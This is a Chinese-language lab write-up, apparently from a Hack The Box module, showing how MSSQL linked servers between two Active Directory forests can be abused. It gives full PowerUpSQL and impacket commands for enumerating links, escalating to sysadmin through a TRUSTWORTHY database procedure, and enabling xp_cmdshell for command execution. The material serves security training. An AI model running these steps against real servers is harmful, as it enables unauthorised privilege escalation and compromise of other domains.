跨林攻击-SQL Server Links

跨林 MSSQL 链接服务器促进了位于不同AD 林中的 SQL Server 实例之间的通信和数据交换。此配置允许一个林中的 SQL Server 实例访问另一个林中 SQL Server 实例托管的数据和资源。

假设 SQL01.inlanefreight.ad 和 SQL02.logistics.ad 之间建立了 SQL 服务器链接。该链接使两个服务器能够访问彼此托管的数据和资源。但是,如果 SQL01( Inlanefreight )发生安全漏洞,攻击者可以利用此配置的服务器链接对 SQL02( Logistics )发起后续攻击。这可能导致 Logistics 域从 Inlanefreight 域被入侵。

Pasted image 20260309202646.png

1. 跨林的SQL Server Link攻击场景

1.1. 有SA登录权限

有时候林A的域用户可以以SA的身份远程登录林BSQL02。这可能被滥用以直接危害链接服务器。

1.2. 有可信数据库

还有一种可能是:当前域用户未被授予远程登录权限,但已被授予 SQL02( logistics.ad )中 SQL 用户的 public 权限。这时候可以尝试枚举目标链接服务器上的可信数据库,并检查该用户是否是任何可信数据库的 db_owner 。如果存在满足条件的数据库,我们可以通过建立存储过程来启用以所有者(即 sa 用户)身份执行的 xp_cmdshell 

后续会用inlanefreight\jimmy 和 inlanefreight\htb-student用户来进行演示, jimmy 已被授予在链接服务器 (SQL02.logistics.ad) 上作为 sysadmin (sa) 的远程登录权限,而用户 htb-student 已被授予在 SQL02 中拥有名为 htb-dbuser 的 SQL 用户的公共权限。

2. 对服务器链接的特权访问

当用户通过系统管理员 ( sa ) 权限访问另一个域 ( Inlanefreight.ad ) 中的服务器(例如 logistics.ad )时,即构成对服务器链接的特权访问。这会赋予用户对服务器链接的强大控制权,并可能导致对链接服务器的攻击和入侵。

2.1. 枚举

2.1.1. 枚举 SQL Server 链接

PS C:\Tools> import-module .\PowerUpSQL.ps1
PS C:\Tools> Get-SQLServerLink
ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 0
DatabaseLinkName       : SQL01\SQLEXPRESS
DatabaseLinkLocation   : Local
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             :
RemoteLoginName        :
is_rpc_out_enabled     : True
is_data_access_enabled : False
modify_date            : 1/4/2024 1:52:15 AM

ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 1
DatabaseLinkName       : SQL02\SQLEXPRESSDatabaseLinkLocation   : Remote
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             : inlanefreight\jimmy
RemoteLoginName        : sais_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 1/4/2024 2:09:31 AM

从输出可以看出:

  • SQL01\SQLEXPRESS和 SQL02\SQLEXPRESS之间已建立 SQL 服务器链接。
  • SQL02\SQLEXPRESS 的 LocalLogin 属性中列出了用户名 Inlanefreight\jimmy 
  • RemoteLoginName 属性中指定了 sa 。这表明 inlanefreight\jimmmy 可以以 sa 身份登录 SQL02。

2.1.2. 枚举jimy的权限

使用 PowerUpSQL 的 Get-SQLQuery函数进行枚举

PS C:\Tools> Get-SQLQuery  -Query "EXEC sp_helplinkedsrvlogin"
Linked Server    Local Login         Is Self Mapping Remote Login
-------------    -----------         --------------- ------------
SQL02\SQLEXPRESS inlanefreight\jimmy           False sa
  • inlanefreight\jimmy 拥有以 sysadmin (sa) 身份登录 SQL02\SQLEXPRESS 的权限

2.2. 利用

2.2.1. 枚举 SQL Server 链接和登录权限

mssqlclient.py jimmy@10.129.229.188 -windows-auth
SQL (inlanefreight\jimmy  guest@master)> enum_links
SRV_NAME           SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE     SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
----------------   ----------------   -----------   ----------------   ------------------   ------------   -------   
SQL01\SQLEXPRESS   SQLNCLI            SQL Server    SQL01\SQLEXPRESS   NULL                 NULL           NULL      

SQL02\SQLEXPRESS   SQLNCLI            SQL Server    SQL02\SQLEXPRESS   NULL                 NULL           NULL      

Linked Server      Local Login           Is Self Mapping   Remote Login   
----------------   -------------------   ---------------   ------------   
SQL02\SQLEXPRESS   inlanefreight\jimmy                 0   sa
  • SQL01\SQLEXPRESS (inlanefreight.ad) 和 SQL02\SQLEXPRESS (logistics.ad) 之间已建立 SQL 服务器链接
  • inlanefreight\jimmmy 可以以 sysadmin (sa) 身份登录到 SQL02\SQLEXPRESS

2.2.2. 开启存储过程

这里开启的是最常用的 xp_cmdshell

SQL (inlanefreight\jimmy  guest@master)> use_link "SQL02\SQLEXPRESS"
SQL >"SQL02\SQLEXPRESS" (sa  dbo@master)> enable_xp_cmdshell
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

然后可以执行命令测试一下

SQL >"SQL02\SQLEXPRESS" (sa  dbo@master)> xp_cmdshell whoami
output                        
---------------------------   
nt service\mssql$sqlexpress   

NULL

3. 可信数据库的跨林攻击

如果林A用户只有林B SQL02的public用户权限,可以采取一种策略来枚举目标链接服务器上的 trusted databases 。

首先确定该用户是否拥有任何 trusted database 的 db_owner 角色。如果找到了这样的数据库,可以创建一个存储过程来启用 xp_cmdshell ,并确保它在 OWNER (通常是 sa 用户)的上下文中执行。

dbo 用户在数据库中拥有所有权限,且无法被限制或删除。dbo 代表数据库所有者(database owner),但 dbo 用户账户并不等同于 db_owner 固定数据库角色,而 db_owner 固定数据库角色也不等同于被记录为该数据库所有者(owner)的用户账户

3.1. 枚举 On windows

这次我们采用windows操作

3.1.1. 枚举sql server链接服务器

PS C:\Tools> Get-SQLServerLink
ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 0
DatabaseLinkName       : SQL01\SQLEXPRESS
DatabaseLinkLocation   : Local
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             :
RemoteLoginName        :
is_rpc_out_enabled     : True
is_data_access_enabled : False
modify_date            : 1/4/2024 1:52:15 AM

ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 1
DatabaseLinkName       : SQL02\SQLEXPRESS
DatabaseLinkLocation   : RemoteProduct                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             :
RemoteLoginName        :is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 1/4/2024 2:09:31 AM
  • RemoteLoginName 属性为空,说明inlanefreight\htb-student 无在SQL02上的SA登录权限

让我们在 SSMS 中执行 SUSER_NAME() 函数来检索 SQL02 中用户的登录标识名

select * from openquery("SQL02\SQLEXPRESS",'select SUSER_NAME()')

Pasted image 20260309205811.png

  • SQL02 中用户 inlanefreight\htb-student 的登录标识名为 htb-dbuser
  • htb-dbuser 是 SQL02 上的一个本地 SQL 用户

3.1.2. 查询此用户在SQL02上是否具有SA权限

select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''sysadmin'')')

Pasted image 20260309205929.png

  • 0表示没有SA权限
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''public'')')

Pasted image 20260309210005.png
可以发现当前为public角色

3.1.3. 枚举是否有可信数据库

首先枚举数据库列表

select * from openquery("SQL02\SQLEXPRESS",'select name FROM master.dbo.sysdatabases')

Pasted image 20260309210043.png

然后枚举是否有TRUSTWORTHY属性的数据库

select * from openquery("SQL02\SQLEXPRESS",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')

Pasted image 20260309210150.png
可以发现 htb-reports 数据库已启用TRUSTWORTHY属性

3.1.4. 枚举是否是db_owner角色

EXEC ('sp_helpuser') AT "SQL02\SQLEXPRESS"

Pasted image 20260309210337.png

  • 用户 htb-dbuser 拥有 htb-reports 数据库的 db_owner 角色权限

查询来验证数据库 htb-reports 的所有者是否确实是 sa

select * from openquery("SQL02\SQLEXPRESS",'SELECT name as database_name , SUSER_NAME(owner_sid) AS owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;')

Pasted image 20260309210423.png

3.2. 利用 On windows

当前条件已经满足具有可信数据库的SA权限了

3.2.1. 验证RPC

在执行存储过程以提升我们的权限之前,先验证 IS_RPC_OUT_ENABLED 选项是否已启用。该选项在 Microsoft SQL Server 中也被称为‘远程过程调用 (RPC) 输出’选项,它允许 SQL Server 使用 RPC 向其他服务器发起出站调用

select is_rpc_out_enabled from sys.servers where name='SQL02\SQLEXPRESS'

Pasted image 20260309210624.png

  •  RPC 已启用

3.2.2. 添加SA角色

继续执行 T-SQL 脚本,在 htb-reports 数据库中创建一个名为 sp_escalate 存储过程,然后把 sysadmin 角色分配给 htb-dbuser 用户

EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''htb-dbuser'',''sysadmin''') AT "SQL02\SQLEXPRESS"

Pasted image 20260309210725.png

再次验证,已经有了SA权限了

EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "SQL02\SQLEXPRESS"

Pasted image 20260309210804.png

3.2.3. 创建存储过程

然后激活xp_cmdshell

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "SQL02\SQLEXPRESS"

Pasted image 20260309210856.png
使用以下查询执行 Windows 命令 whoami ,该查询应该输出 SQL02 当前运行的用户

EXECUTE('xp_cmdshell "whoami"') AT "SQL02\SQLEXPRESS"

Pasted image 20260309210952.png

3.3. 枚举 On Linux

3.3.1. 枚举SQL Server 链接和登录权限

使用impacket-mssqlclient进行枚举

mssqlclient.py htb-student@10.129.229.188 -windows-auth

SQL (inlanefreight\htb-student  guest@master)> enum_links
SRV_NAME           SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE     SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
----------------   ----------------   -----------   ----------------   ------------------   ------------   -------   
SQL01\SQLEXPRESS   SQLNCLI            SQL Server    SQL01\SQLEXPRESS   NULL                 NULL           NULL      

SQL02\SQLEXPRESS   SQLNCLI            SQL Server    SQL02\SQLEXPRESS   NULL                 NULL           NULL      

Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------
  • Local Login 和 Remote Login 属性为空
  • inlanefreight\htb-student 没有作为 SQL02 上的sa的远程登录权限

3.3.2. 连接到 SQL02 链接服务器

SQL (INLANEFREIGHT\htb-student  guest@msdb)> use_link "SQL02\SQLEXPRESS"

In Microsoft SQL Server, linked servers allow you to connect to and query data from remote servers. By using the use_link command, operations in the current session should be executed on the linked server "SQL02\SQLEXPRESS" rather than the local server.

Now we are good to start our enumeration on SQL02.

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@msdb)> enum_logins
name                        type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                          SQL_LOGIN                 0          1               0             0            0              0           0           0           0   

htb-dbuser                  SQL_LOGIN                 0          0               0             0            0              0           0           0           0   
INLANEFREIGHT\htb-student   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0
  • 用户 htb-dbuser 身份登录

3.3.3. 枚举 Trushworthy 数据库

使用 enum_db 命令来识别启用了 is_trustworthy_on 选项的数据库

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@msdb)> enum_db
name          is_trustworthy_on   
-----------   -----------------   
master                        0   

tempdb                        0   

model                         0   

msdb                          1   

htb-reports                   1
  • htb-reports 数据库已启用可信权限

然后验证 htb-dbuser 是否拥有该数据库的 db_owner 角色

3.3.4. 在 SQL02 中枚举用户

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@msdb)> enum_users
UserName             RoleName   LoginName    DefDBName     DefSchemaName       UserID                                   SID   
------------------   --------   ----------   -----------   -------------   ----------   -----------------------------------   
dbo                  db_owner   sa           master        dbo             b'1         '                                 b'01'   

guest                public     NULL         NULL          guest           b'2         '                                 b'00'   

htb-dbuser           db_owner   htb-dbuser   htb-reports   dbo             b'5         '   b'900e4da3f4ebcb47b1f7fac46f513ad0'   
INFORMATION_SCHEMA   public     NULL         NULL          NULL            b'3         '                                  NULL   

sys                  public     NULL         NULL          NULL            b'4         '                                  NULL
  • htb-dbuser 拥有名为 htb-reports 的数据库的 db_owner 权限

查询数据库 htb-reports 的所有者是否确实是 sa

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@master)> SELECT name as database_name, SUSER_NAME(owner_sid) AS owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases;
database_name   owner            TRUSTWORTHY   
-------------   --------------   -----------   
master          sa                         0   

tempdb          sa                         0   

model           sa                         0   

msdb            sa                         1   

htb-reports     sa                         1

3.4. 利用 On Linux

3.4.1. 修改用户角色为SA

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@msdb)> USE "htb-reports"
[*] INFO(SQL02\SQLEXPRESS): Line 1: Changed database context to 'htb-reports'.

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@msdb)> CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'htb-dbuser','sysadmin'
SQL >"SQL02\SQLEXPRESS" (htb-dbuser  htb-dbuser@msdb)> EXEC sp_escalate

3.4.2. 验证权限

再次验证当前用户的权限

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  dbo@msdb)> SELECT is_srvrolemember('sysadmin')
    
-   
1
  • 已经是 SA

3.4.3. 启用 xp_cmdshell

SQL >"SQL02\SQLEXPRESS" (htb-dbuser  dbo@msdb)> exec master.dbo.sp_configure "show advanced options",1;RECONFIGURE;exec master.dbo.sp_configure "xp_cmdshell", 1;RECONFIGURE;
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SQL02\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL >"SQL02\SQLEXPRESS" (htb-dbuser  dbo@msdb)> exec master..xp_cmdshell "whoami"
output                        
---------------------------   
nt service\mssql$sqlexpress   

NULL